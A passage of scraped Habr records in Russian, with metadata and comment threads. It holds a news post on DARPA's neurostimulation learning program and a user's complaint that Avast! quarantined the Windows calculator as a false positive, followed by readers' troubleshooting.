(xn__p2a)" ], "children": [ [ 3073550 ], [ 3073542 ], [], [ 3073603 ], [] ] }
403,507
ru
https://habr.com/ru/post/403507/
Военные США хотят стимулировать обучаемость мозга электричеством
Управление перспективных исследовательских проектов Министерства обороны США (DARPA) объявило о сотрудничестве с семью университетами США, подразделениями ВВС и армии в исследованиях, направленных на стимулирование мозга неинвазивным способом для ускорения обучения. Управление анонсировало программу Target Neuroplasticity Training (TNT) в марте 2016 года и сейчас начало работу по поиску наиболее безопасных и эффективных способов активации естественного процесса, называемого синаптической пластичностью. Пластичность — способность мозга укреплять или ослаблять нейронные связи, чтобы приспособиться к изменениям в окружающей среде. Руководитель программы TNT доктор Дуг Вербер связывает синаптическую пластичность с обучением. Исследование TNT фокусируется на конкретном виде обучения — когнитивных навыках. Люди используют когнитивные навыки, чтобы фокусировать внимание, обрабатывать информацию, разделять внимание на несколько задач одновременно, определять и понимать шаблоны, запоминать инструкции, организовывать информацию и многое другое. Министерство обороны США ожидает, что TNT позволит снизить стоимость и сократить продолжительность обучения специалистов по иностранному языку, аналитиков разведки, криптографов и других. Команда исследователей TNT пытается определить физиологические механизмы, которые могли бы позволить им улучшить естественное обучение посредством электростимуляции периферических нервов — тех, которые соединяют нейроны в головном и спинном мозге с органами, кожей и мышцами, — чтобы мозг быстрее воспринимал новые знания во время ключевых моментов обучения. Ученые еще не до конца понимают, какие механизмы лежат в основе этого улучшения, но считают, что нейростимуляция способствует высвобождению нейромедиаторов: ацетилхолина, осуществляющего нервно-мышечную передачу, норэпинефрина — «медиатора бодрости» — и других, играющих важную роль в модуляции когнитивных процессов, связанных с обучением. Основная цель TNT — активировать различные механизмы, чтобы понять связи между нейростимуляцией, высвобождением нейромедиатора и результирующими изменениями в пластичности. Чтобы активировать периферические нервы, исследователи будут сравнивать неинвазивную электростимуляцию через кожу с инвазивной — с помощью имплантированного устройства, — а затем сделают выводы, что из этого эффективнее. Вербер планирует пойти еще дальше и создать устройство, которое активирует пластичность, используя электричество для стимуляции периферических нервов через кожу. Он отметил, что уже сейчас на рынке есть устройства, предназначенные для стимуляции мозга и периферических нервов. «Вы можете прямо сейчас зайти в Интернет и за 50 долларов купить устройство, которое, как утверждают производители, стимулирует ваш мозг и заставляет его делать всевозможные вещи», — сказал Вебер. Такие компании делают технологию доступной без каких-либо гарантий того, что она безопасна или даже эффективна. В первой части исследований TNT ученые будут работать над определением механизмов, которые лежат в основе того, как стимуляция нерва влияет на пластичность мозга. Они также пытаются обнаружить физиологические показатели, которые показывают, что стимуляция работает, и выявить и свести к минимуму побочные эффекты стимуляции нервов, если таковые вообще имеются. Во второй половине программы исследователи будут использовать технологию нейростимуляции в различных видах тренировочных упражнений для измерения улучшения скорости и степени обучения. В то же время некоторые исследовательские группы будут работать с аналитиками военной разведки и специалистами по иностранному языку, чтобы понять, как процесс обучения идёт сейчас. Цель сотрудничества состоит в том, чтобы превратить средний отряд в непревзойденных лингвистов гораздо быстрее, чем это возможно сегодня. Платформу TNT можно будет дорабатывать, чтобы удовлетворить их потребности. В партнерстве с Университетом штата Аризона команда будет работать с персоналом Исследовательской лабораторией ВВС, чтобы изучить, как мозг реагирует во время разведки, стрельбы и наблюдения. DARPA подходит к изучению синаптической пластичности с нескольких точек зрения, чтобы определить, есть ли безопасные и эффективные пути для улучшения обучения и ускорения освоения навыков, связанных с миссиями национальной безопасности США. Программа TNT поможет компенсировать сокращение персонала каждой военной службы. TNT — часть более обширного проекта DARPA BRAIN, поддерживаемого Белым домом. Эта инициатива была объявлена еще администрацией Барака Обамы в 2013 году. В ее рамках поддерживаются разработки в сфере инновационных нейротехнологий, которые могут создать динамическую картину функций мозга — как отдельные клетки и сложные нейронные цепи взаимодействуют во времени и пространстве. BRAIN также исследует расстройства мозга, такие как болезни Альцгеймера и Паркинсона, депрессии и черепно-мозговые травмы.
<div xmlns="http://www.w3.org/1999/xhtml"><img src="https://habrastorage.org/files/8a2/959/ada/8a2959ada299403c811df0780d08af61.JPG" alt="image"/><br/> <br/> Управление перспективных исследовательских проектов Министерства обороны США (DARPA) объявило о сотрудничестве с семью университетами США, подразделениями ВВС и армии в исследованиях, направленных на стимулирование мозга неинвазивным способом для ускорения обучения. Управление анонсировало программу Target Neuroplasticity Training (TNT) в марте 2016 года и сейчас начало работу по поиску наиболее безопасных и эффективных способов активации естественного процесса, называемого синаптической пластичностью. <br/> <br/> Пластичность — способность мозга укреплять или ослаблять нейронные связи, чтобы приспособиться к изменениям в окружающей среде. Руководитель программы TNT доктор Дуг Вербер связывает синаптическую пластичность с обучением.<br/> <br/> Исследование TNT фокусируется на конкретном виде обучения — когнитивных навыках. Люди используют когнитивные навыки, чтобы фокусировать внимание, обрабатывать информацию, разделять внимание на несколько задач одновременно, определять и понимать шаблоны, запоминать инструкции, организовывать информацию и многое другое. Министерство обороны США ожидает, что TNT позволит снизить стоимость и сократить продолжительность обучения специалистов по иностранному языку, аналитиков разведки, криптографов и других.<a name="habracut"></a><br/> <br/> Команда исследователей TNT пытается определить физиологические механизмы, которые могли бы позволить им улучшить естественное обучение посредством электростимуляции периферических нервов — тех, которые соединяют нейроны в головном и спинном мозге с органами, кожей и мышцами, — чтобы мозг быстрее воспринимал новые знания во время ключевых моментов обучения.<br/> <br/> Ученые еще не до конца понимают, какие механизмы лежат в основе этого улучшения, но считают, что нейростимуляция способствует высвобождению <a href="https://ru.wikipedia.org/wiki/Нейромедиатор">нейромедиаторов</a>: <a href="https://ru.wikipedia.org/wiki/Ацетилхолин">ацетилхолина</a>, осуществляющего нервно-мышечную передачу, <a href="https://en.wikipedia.org/wiki/Norepinephrine">норэпинефрина</a> — «медиатора бодрости» — и других, играющих важную роль в модуляции когнитивных процессов, связанных с обучением.<br/> <br/> Основная цель TNT — активировать различные механизмы, чтобы понять связи между нейростимуляцией, высвобождением нейромедиатора и результирующими изменениями в пластичности.<br/> <br/> Чтобы активировать периферические нервы, исследователи будут сравнивать неинвазивную электростимуляцию через кожу с инвазивной — с помощью имплантированного устройства, — а затем сделают выводы, что из этого эффективнее. <br/> <br/> Вербер планирует пойти еще дальше и создать устройство, которое активирует пластичность, используя электричество для стимуляции периферических нервов через кожу. Он отметил, что уже сейчас на рынке есть устройства, предназначенные для стимуляции мозга и периферических нервов. «Вы можете прямо сейчас зайти в Интернет и за 50 долларов купить устройство, которое, как утверждают производители, стимулирует ваш мозг и заставляет его делать всевозможные вещи», — сказал Вебер. Такие компании делают технологию доступной без каких-либо гарантий того, что она безопасна или даже эффективна.<br/> <br/> В первой части исследований TNT ученые будут работать над определением механизмов, которые лежат в основе того, как стимуляция нерва влияет на пластичность мозга. Они также пытаются обнаружить физиологические показатели, которые показывают, что стимуляция работает, и выявить и свести к минимуму побочные эффекты стимуляции нервов, если таковые вообще имеются.<br/> <br/> Во второй половине программы исследователи будут использовать технологию нейростимуляции в различных видах тренировочных упражнений для измерения улучшения скорости и степени обучения. В то же время некоторые исследовательские группы будут работать с аналитиками военной разведки и специалистами по иностранному языку, чтобы понять, как процесс обучения идёт сейчас. Цель сотрудничества состоит в том, чтобы превратить средний отряд в непревзойденных лингвистов гораздо быстрее, чем это возможно сегодня. Платформу TNT можно будет дорабатывать, чтобы удовлетворить их потребности.<br/> <br/> В партнерстве с Университетом штата Аризона команда будет работать с персоналом Исследовательской лабораторией ВВС, чтобы изучить, как мозг реагирует во время разведки, стрельбы и наблюдения.<br/> <br/> DARPA подходит к изучению синаптической пластичности с нескольких точек зрения, чтобы определить, есть ли безопасные и эффективные пути для улучшения обучения и ускорения освоения навыков, связанных с миссиями национальной безопасности США. Программа TNT поможет компенсировать сокращение персонала каждой военной службы.<br/> <br/> TNT — часть более обширного проекта DARPA <a href="https://en.wikipedia.org/wiki/BRAIN_Initiative">BRAIN</a>, поддерживаемого Белым домом. Эта инициатива была объявлена еще администрацией Барака Обамы в 2013 году. В ее рамках поддерживаются разработки в сфере инновационных нейротехнологий, которые могут создать динамическую картину функций мозга — как отдельные клетки и сложные нейронные цепи взаимодействуют во времени и пространстве. BRAIN также исследует расстройства мозга, такие как болезни Альцгеймера и Паркинсона, депрессии и черепно-мозговые травмы.</div>
Анастасия Якшина (upla)
null
null
<img src="https://habrastorage.org/files/8a2/959/ada/8a2959ada299403c811df0780d08af61.JPG" alt="image"/><br/> <br/> Управление перспективных исследовательских проектов Министерства обороны США (DARPA) объявило о сотрудничестве с семью университетами США, подразделениями ВВС и армии в исследованиях, направленных на стимулирование мозга неинвазивным способом для ускорения обучения. Управление анонсировало программу Target Neuroplasticity Training (TNT) в марте 2016 года и сейчас начало работу по поиску наиболее безопасных и эффективных способов активации естественного процесса, называемого синаптической пластичностью. <br/> <br/> Пластичность — способность мозга укреплять или ослаблять нейронные связи, чтобы приспособиться к изменениям в окружающей среде. Руководитель программы TNT доктор Дуг Вербер связывает синаптическую пластичность с обучением.<br/> <br/> Исследование TNT фокусируется на конкретном виде обучения — когнитивных навыках. Люди используют когнитивные навыки, чтобы фокусировать внимание, обрабатывать информацию, разделять внимание на несколько задач одновременно, определять и понимать шаблоны, запоминать инструкции, организовывать информацию и многое другое. Министерство обороны США ожидает, что TNT позволит снизить стоимость и сократить продолжительность обучения специалистов по иностранному языку, аналитиков разведки, криптографов и других.
Управление перспективных исследовательских проектов Министерства обороны США (DARPA) объявило о сотрудничестве с семью университетами США, подразделениями ВВС и армии в исследованиях, направленных на стимулирование мозга неинвазивным способом для ускорения обучения. Управление анонсировало программу Target Neuroplasticity Training (TNT) в марте 2016 года и сейчас начало работу по поиску наиболее безопасных и эффективных способов активации естественного процесса, называемого синаптической пластичностью. Пластичность — способность мозга укреплять или ослаблять нейронные связи, чтобы приспособиться к изменениям в окружающей среде. Руководитель программы TNT доктор Дуг Вербер связывает синаптическую пластичность с обучением. Исследование TNT фокусируется на конкретном виде обучения — когнитивных навыках. Люди используют когнитивные навыки, чтобы фокусировать внимание, обрабатывать информацию, разделять внимание на несколько задач одновременно, определять и понимать шаблоны, запоминать инструкции, организовывать информацию и многое другое. Министерство обороны США ожидает, что TNT позволит снизить стоимость и сократить продолжительность обучения специалистов по иностранному языку, аналитиков разведки, криптографов и других.
article
1,493,461,207
{ "commentsCount": 15, "favoritesCount": 21, "readingCount": 7658, "score": 9, "votesCount": 9, "votesCountPlus": 9, "votesCountMinus": 0 }
[]
[ "brain" ]
[ "popsci" ]
[ "darpa", "brain", "синаптическая пластичность", "нейроны", "нейротехнологии", "электростимуляция" ]
3
null
null
{ "id": [ 18172007, 18172009, 18172011, 18172013, 18172015, 18172017, 18172019, 18172021, 18172023, 18172025, 18172027, 18172029, 18172031, 18172033, 18172035 ], "parent_id": [ null, null, 18172009, null, 18172009, null, null, null, 18172009, 18172013, null, null, null, 18172025, null ], "level": [ 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 2, 0 ], "time_published": [ 1493463303, 1493463847, 1493465613, 1493465710, 1493466039, 1493467934, 1493468715, 1493470704, 1493474140, 1493483238, 1493495862, 1493542484, 1493558811, 1493559843, 1493569430 ], "score": [ 1, 0, 4, 0, 1, 1, 1, 1, 0, 1, 0, 2, 0, 0, 0 ], "votes": [ 1, 0, 4, 0, 1, 1, 3, 1, 0, 1, 0, 2, 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">*представил инструктора с электрошоковой дубинкой.<br/>\r\n-Бегом салага! Медленно! Выше колени поднимай!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>*представил инструктора с электрошоковой дубинкой.<br/>\r\n-2+2?<br/>\r\n-5!<br/>\r\nбум, треск, искры.<br/>\r\n-2+2?<br/>\r\n-4!<br/>\r\n-Ок.<br/>\r\n-2+3?<br/>\r\n-4!<br/>\r\nбум, треск, искры.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Алгоритм обратного распространения ошибки :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Но у повышенной пластичности же имеется и обратная сторона: ускорение забывания? Понятно, что мозг человека хранит массу всякой ерунды, вроде просмотренных фильмов и рекламных слоганов десятилетней давности, но устройство едва ли будет изменять пластичность настолько выборочно, чтобы не затереть что-то важное.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">«К-к-кротов», как показывали в каком-то советском фильме</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Такими темпами мы придем к <a href=\"https://ru.wikipedia.org/wiki/%D0%9B%D1%8E%D0%B4%D0%B8_%D0%BF%D1%80%D0%BE%D1%82%D0%B8%D0%B2_%D0%BE%D0%B3%D0%BD%D1%8F\">МАСС</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Блин, TDCS шагает по планете, ещё раз доказывая плачевное состояние академической науки в современном её виде… В советские времена, эта «технология» называлась «микрополяризацией», проводились клинические тесты, выходили монографии и официальные рекомендации, были модели объясняющие наблюдаемые эффекты. И всё это было за долго до того, как учёные додумались делать научные публикации, ради публикаций, а в процессе рецензирования новизна и смысл проверялись с пристрастием…<br/>\r\nНе то что ныне, запад нас вполне догнал, тонна работ по TDCS (благо метод прост и стоит не дорого), и даже бюджеты под это дело начинают пилить :-)<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Напомнило «Шесть спичек» братьев Стругацких. <br/>\r\nНа самом деле результаты могут быть интересные.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Для солдат наоборот хорошо, забыл жену и детей, моральные принципы, вместо них запомнил текущие навыки, по возвращении с задания — забыл и задание тоже.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ожидание: машины будут делать за тебя все больше работы.<br/>\r\n<br/>\r\nРеальность: машины контролируют твою рабочую производительность и бьют током, если ты медленно учишься.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">чёт в рисунке я вижу свою идею<br/>\r\nhttps://geektimes.ru/post/276428/#comment_9306124</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Солдату не нужно забывать моральные принципы. Это, по сути, единственное, что реально отличает его от боевика-террориста.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Это tDCS или что-то новенькое?</div>" ], "message_markdown": [ "*представил инструктора с электрошоковой дубинкой.\n-Бегом салага! Медленно! Выше колени поднимай!", "*представил инструктора с электрошоковой дубинкой.\n-2+2?\n-5!\nбум, треск, искры.\n-2+2?\n-4!\n-Ок.\n-2+3?\n-4!\nбум, треск, искры.", "Алгоритм обратного распространения ошибки :)", "Но у повышенной пластичности же имеется и обратная сторона: ускорение забывания? Понятно, что мозг человека хранит массу всякой ерунды, вроде просмотренных фильмов и рекламных слоганов десятилетней давности, но устройство едва ли будет изменять пластичность настолько выборочно, чтобы не затереть что-то важное.", "«К-к-кротов», как показывали в каком-то советском фильме", "Такими темпами мы придем к МАСС", "Блин, TDCS шагает по планете, ещё раз доказывая плачевное состояние академической науки в современном её виде... В советские времена, эта «технология» называлась «микрополяризацией», проводились клинические тесты, выходили монографии и официальные рекомендации, были модели объясняющие наблюдаемые эффекты. И всё это было за долго до того, как учёные додумались делать научные публикации, ради публикаций, а в процессе рецензирования новизна и смысл проверялись с пристрастием...\nНе то что ныне, запад нас вполне догнал, тонна работ по TDCS (благо метод прост и стоит не дорого), и даже бюджеты под это дело начинают пилить :-)", "Напомнило «Шесть спичек» братьев Стругацких.\nНа самом деле результаты могут быть интересные.", "UFO just landed and posted this here", "Для солдат наоборот хорошо, забыл жену и детей, моральные принципы, вместо них запомнил текущие навыки, по возвращении с задания — забыл и задание тоже.", "UFO just landed and posted this here", "Ожидание: машины будут делать за тебя все больше работы.\nРеальность: машины контролируют твою рабочую производительность и бьют током, если ты медленно учишься.", "чёт в рисунке я вижу свою идею\nhttps://geektimes.ru/post/276428/#comment_9306124", "Солдату не нужно забывать моральные принципы. Это, по сути, единственное, что реально отличает его от боевика-террориста.", "Это tDCS или что-то новенькое?" ], "author": [ "RedSnowman", "Ugrum", "DrZlodberg", "Sadler", "nerudo", "Djeux", "Дмитрий Земсков (SADKO)", "Skromnjaga", "{}", "lonelymyp", "{}", "sic", "Foolleren", "Hellsy22", "unwrecker (unwrecker)" ], "children": [ [], [ 18172011, 18172015, 18172023 ], [], [ 18172025 ], [], [], [], [], [], [ 18172033 ], [], [], [], [], [] ] }
180,037
ru
https://habr.com/ru/post/180037/
Avast! удаляет calc.exe как вирус (2:0)
Совсем недавно я написал пост о том, как антивирус Avast! удалял виндовскую программу для регулирования звука как вирус. Переписка с службой поддержки Avast! закончилась ничем, т.к. по их словам такой случай наблюдался якобы только у меня (хотя в моей теме отписывался по крайнем мере еще один человек с такой проблемой). Сегодня второй раунд. Запускаю calc.exe (виндовский калькулятор) и получаю сообщение, что такого файла нет. Сразу же иду в карантин Avast! и, вот он, бедолага calc.exe. Но может он был заражен злобным вирусом и поэтому совершенно справедливо удален? Но онлайн проверка файла на другом сервере показывает, что файл вполне добрый и безопасный. Дальнейшие действия 1\. Отправить описание на support Avast! 2\. Поставить другой антивирус. UPD 20.05.2013: Получил ответ от support'a Avast Спасибо за Ваше письмо. Файл был разблокирован в последней антивирусной базе. Обновите, пожалуйста, вирусную базу данных. Приносим свои извинения за предоставленные неудобства.
<div xmlns="http://www.w3.org/1999/xhtml">Совсем недавно я написал <a href="http://habrahabr.ru/post/177883/">пост</a> о том, как антивирус Avast! удалял виндовскую программу для регулирования звука как вирус. Переписка с службой поддержки Avast! закончилась ничем, т.к. по их словам такой случай наблюдался якобы только у меня (хотя в моей теме отписывался по крайнем мере еще один человек с такой проблемой).<br/> <br/> Сегодня второй раунд. Запускаю calc.exe (виндовский калькулятор) и получаю сообщение, что такого файла нет. Сразу же иду в карантин Avast! и, вот он, бедолага calc.exe. <br/> <br/> <img src="https://habrastorage.org/r/w780q1/getpro/geektimes/post_images/8d8/2a8/526/8d82a852621374ac90c9c8c6ff052c04.jpg" alt="image" data-src="https://habrastorage.org/getpro/geektimes/post_images/8d8/2a8/526/8d82a852621374ac90c9c8c6ff052c04.jpg" data-blurred="true"/><br/> <br/> <a name="habracut"></a><br/> <br/> Но может он был заражен злобным вирусом и поэтому совершенно справедливо удален? Но онлайн проверка файла на другом сервере показывает, что файл вполне добрый и безопасный.<br/> <br/> <img src="https://habrastorage.org/r/w780q1/getpro/geektimes/post_images/e57/8bc/ae7/e578bcae78c71eb61d90979b13e00856.jpg" alt="image" data-src="https://habrastorage.org/getpro/geektimes/post_images/e57/8bc/ae7/e578bcae78c71eb61d90979b13e00856.jpg" data-blurred="true"/><br/> <br/> Дальнейшие действия<br/> 1. Отправить описание на support Avast! <br/> 2. Поставить другой антивирус.<br/> <br/> UPD 20.05.2013: Получил ответ от support'a Avast<br/> <i>Спасибо за Ваше письмо.<br/> <br/> Файл был разблокирован ​​в последней антивирусной базе. Обновите, пожалуйста, вирусную базу данных.<br/> Приносим свои извинения за предоставленные неудобства.</i></div>
Nedder
null
null
Совсем недавно я написал <a href="http://habrahabr.ru/post/177883/">пост</a> о том, как антивирус Avast! удалял виндовскую программу для регулирования звука как вирус. Переписка с службой поддержки Avast! закончилась ничем, т.к. по их словам такой случай наблюдался якобы только у меня (хотя в моей теме отписывался по крайнем мере еще один человек с такой проблемой).<br/> <br/> Сегодня второй раунд. Запускаю calc.exe (виндовский калькулятор) и получаю сообщение, что такого файла нет. Сразу же иду в карантин Avast! и, вот он, бедолага calc.exe. <br/> <br/> <img src="https://habrastorage.org/getpro/geektimes/post_images/8d8/2a8/526/8d82a852621374ac90c9c8c6ff052c04.jpg" alt="image"/><br/> <br/>
Совсем недавно я написал пост о том, как антивирус Avast! удалял виндовскую программу для регулирования звука как вирус. Переписка с службой поддержки Avast! закончилась ничем, т.к. по их словам такой случай наблюдался якобы только у меня (хотя в моей теме отписывался по крайнем мере еще один человек с такой проблемой). Сегодня второй раунд. Запускаю calc.exe (виндовский калькулятор) и получаю сообщение, что такого файла нет. Сразу же иду в карантин Avast! и, вот он, бедолага calc.exe.
article
1,368,777,222
{ "commentsCount": 64, "favoritesCount": 4, "readingCount": 65340, "score": 5, "votesCount": 95, "votesCountPlus": 50, "votesCountMinus": 45 }
[ "recovery" ]
[ "win_dev" ]
[ "develop" ]
[ "avast!", "антивирус" ]
1
null
null
{ "id": [ 11049240, 11049242, 11049244, 11049246, 11049248, 11049250, 11049252, 11049254, 11049256, 11049258, 11049260, 11049262, 11049264, 11049266, 11049268, 11049270, 11049272, 11049274, 11049276, 11049278, 11049280, 11049282, 11049284, 11049286, 11049288, 11049290, 11049292, 11049294, 11049296, 11049298, 11049300, 11049302, 11049304, 11049306, 11049308, 11049310, 11049312, 11049314, 11049316, 11049318, 11049320, 11049322, 11049324, 11049326, 11049328, 11049330, 11049332, 11049334, 11049336, 11049338, 11049340, 11049342, 11049344, 11049346, 11049348, 11049350, 11049352, 11049354, 11049356, 11049358, 11049360, 11049362, 11049364, 11049366 ], "parent_id": [ null, null, 11049242, null, null, null, null, null, 11049250, null, null, 11049248, 11049260, 11049264, 11049266, 11049266, 11049270, 11049272, 11049272, 11049262, null, null, 11049282, null, null, 11049272, 11049278, 11049292, 11049294, 11049294, 11049250, 11049288, 11049300, 11049282, 11049300, 11049300, 11049262, 11049288, 11049256, null, null, 11049298, null, 11049322, 11049312, 11049328, 11049300, 11049308, null, 11049336, null, 11049340, null, null, 11049242, null, 11049332, 11049258, 11049324, null, 11049344, null, 11049354, 11049352 ], "level": [ 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 2, 3, 3, 4, 5, 5, 2, 0, 0, 1, 0, 0, 5, 3, 4, 5, 5, 1, 1, 2, 1, 2, 2, 2, 1, 2, 0, 0, 6, 0, 7, 3, 4, 2, 3, 0, 1, 0, 1, 0, 0, 1, 0, 3, 1, 1, 0, 1, 0, 2, 4 ], "time_published": [ 1368777596, 1368777813, 1368778043, 1368778061, 1368778290, 1368778316, 1368778459, 1368778501, 1368778527, 1368778818, 1368778820, 1368778857, 1368779296, 1368779441, 1368779499, 1368779555, 1368780404, 1368780942, 1368781228, 1368781271, 1368782001, 1368783778, 1368783965, 1368784828, 1368786071, 1368786937, 1368786967, 1368787180, 1368787323, 1368787545, 1368788819, 1368789360, 1368790720, 1368790757, 1368791042, 1368791526, 1368791533, 1368791824, 1368792151, 1368792778, 1368792967, 1368793168, 1368794298, 1368796158, 1368796872, 1368797527, 1368798844, 1368799786, 1368801951, 1368803250, 1368804883, 1368805096, 1368805563, 1368806490, 1368810835, 1368813457, 1368817615, 1368823402, 1368857567, 1368857693, 1368859898, 1368868647, 1368873422, 1368977569 ], "score": [ 33, -12, 5, 0, 2, -5, 1, 9, 0, 7, 0, 0, 0, 1, 0, 5, -13, 4, 17, 18, 0, 2, 2, 0, 1, 2, 1, 0, 0, 1, 22, 2, 5, 0, 1, 2, 0, 0, 1, 0, 0, 1, 7, 0, 0, 2, -7, 8, -1, 7, 1, 0, 1, 1, 0, -3, 1, -1, 0, -2, 0, 0, 0, 0 ], "votes": [ 35, 20, 7, 0, 2, 9, 3, 9, 0, 7, 0, 2, 0, 7, 0, 5, 17, 4, 19, 18, 0, 2, 2, 2, 1, 2, 1, 0, 0, 1, 22, 2, 5, 0, 1, 2, 0, 0, 1, 0, 0, 1, 7, 0, 0, 2, 7, 8, 1, 7, 1, 0, 1, 1, 0, 3, 1, 1, 0, 2, 0, 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>2. Поставить другой антивирус.</blockquote><br/>\r\nВы сами нашли правильное решение вашей проблемы. Как правило, производители ПО начинают что-то делать когда пользователи голосуют ногами.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Очень давно стоит Аваст, никогда таких глюков не замечал. Может, учитывая сколько файлов в карантине, дело все таки в вас?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Кроме calc.exe — шесть файлов, два лежат там с 2011 года, три с 2012 года. Этого много? </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Может быть calc.exe был, кем-то заражен/изменен. Не детект другим антивирусом не показатель :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Стоит последний (буквально 2ру дней назад попросился обновиться) — нормально запускается calc.exe, Win7/64 — что я делаю не так?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">У меня тоже Аваст и тоже были проблемы с удалением нормальных программ. То ему Open Office не понравился и я его постоянно из карантина вытягивал, то bred3, то ещё что то. Ни один другой антивирус ничего там не находил, а этот упорно по несколько недель отправлял файлы в карантин. А потом с очередным обновлением вдруг оп!, и всё, файл чист и в карантин его уже не надо.<br/>\r\nОчень странный антивирус, поставить другой просто времени нет, но если ещё будет такое показывать то удалю обязательно.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">от скриншота прям голова закружилась. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">У меня WinXP, SP3. Может в этом ответ</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Есть хороший способ проверить файл на заражённость, это сравнить его с аналогичным, но от другого пользователя или из пакета установки, хотя если у вас не лицензионное по… то первое предпочтительнее.<br/>\r\nИ уж потом писать обличительные статьи.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Может проблема в том, что calc.exe на диске H? Это действительно как-то подозрительно</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Проверил на virustotal — <a href=\"https://www.virustotal.com/ru/file/908fe61e9ce102d7422213e39a189451d1000ae0b6c3e625b8502385f09e99ea/analysis/\">www.virustotal.com/ru/file/908fe61e9ce102d7422213e39a189451d1000ae0b6c3e625b8502385f09e99ea/analysis/</a><br/>\r\n<br/>\r\nИз 46 антивирусов, только двое показали якобы трояна.<br/>\r\n<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну если винда стоит через одно место, логично что и антивирус работает также :-)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Если система стоит на H — это позволяет антивирус удалять системные файлы? </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну не удалять, а помечать как подозрительные [Susp]<br/>\r\nВообще, мне кажется логика тут такая:<br/>\r\nОн видит диск H. Он никак не принимает этот диск за системный. С, D, E даже F, но H — это определенно флэшка. Он знает про вирус, который выдает себя за calc.exe. Руководствуясь логикой «лучше перебздеть», он помечает calc.exe на флешке(как он думает) как подозрительный.<br/>\r\nВам бы установить винду по человечески. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Не, это им надо научиться правильно детектить системный диск, если ваше предположение верно.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Какое ему дело до буквы, что вы вообще говорите? Это же не антивирус Бабушкина, он должен оперировать системными переменными, а не захардкоженными.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Настоящий calc.exe <a href=\"https://www.virustotal.com/ru/file/20f7530727ff461de43af16a42d60f12cd5c79a808e8dbeb8ab98159bd325ece/analysis/1368781148/\">вирустоталом не детектится</a>.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Аваст любит систему ломать: <a href=\"http://avast-russia.com/lozhnoe-srabatyivanie-avast-na-nekotoryix-russkix-windows-xp.html\">avast-russia.com/lozhnoe-srabatyivanie-avast-na-nekotoryix-russkix-windows-xp.html</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Как-то странно они работают — полумерами. То одну виндовую прогу в карантин, то другую. Лучше бы уж сразу систему сносил, чтобы юзер не мучался :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Несколько людей уже проверили свой calc.exe в вирустотале.<br/>\r\nИтог: вирустотал не ругается вообще, а у Nedder ругается. Так что аваст тут, скорее всего, не при чем.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">В томской области тоже думали что за хрень, не поднимается(лось) соединение ADSL (Ростелеком), нашли кто глушит, у всех кто использовал Avast. Служба поддержки всем так и говорила: у вас Avast, да, удалите. Пункт 2 с тех пор мой любимый.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Действия не правильные.<br/>\r\n1. Распаковать из архива с установочного диска calc.exe и посчитать md5 хэш<br/>\r\n2. Посчитать md5 у calc.exe из карантина<br/>\r\n3. Сравнить, если одинаковые заменить avast, если разные, лечить систему либо переставлять.<br/>\r\n<br/>\r\n1 пункт делать на другом компьютере. md5 установочного диска должен совпадать с одним из вариантов microsoft<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Что за бред? По этой логике установленный на другой раздел Линукс оно вообще должно выпиливать полностью как «подозрительную-ос-способную-нанести-вред-вашему-компьютеру»? :) Плюс как минимум этот диск помечен как системный и Антивирус должен это понимать и различать. <br/>\r\nДа и я очень сомневаюсь, что в нем есть список всех-всех файлов, который могуть быть в папке виндовса.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Может у вас разные обновления Windows.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">У меня SP1 в виртуалбоксе вообще без обновлений.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну и не факт, что у Nedder такой же набор обновлений. Не забывайте, что SP — это тоже просто bundle обновлений.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Как он написал нижу у него вообще XP. Ничего удивительного, что ваш calc.exe и не детектится.</div>", "<div 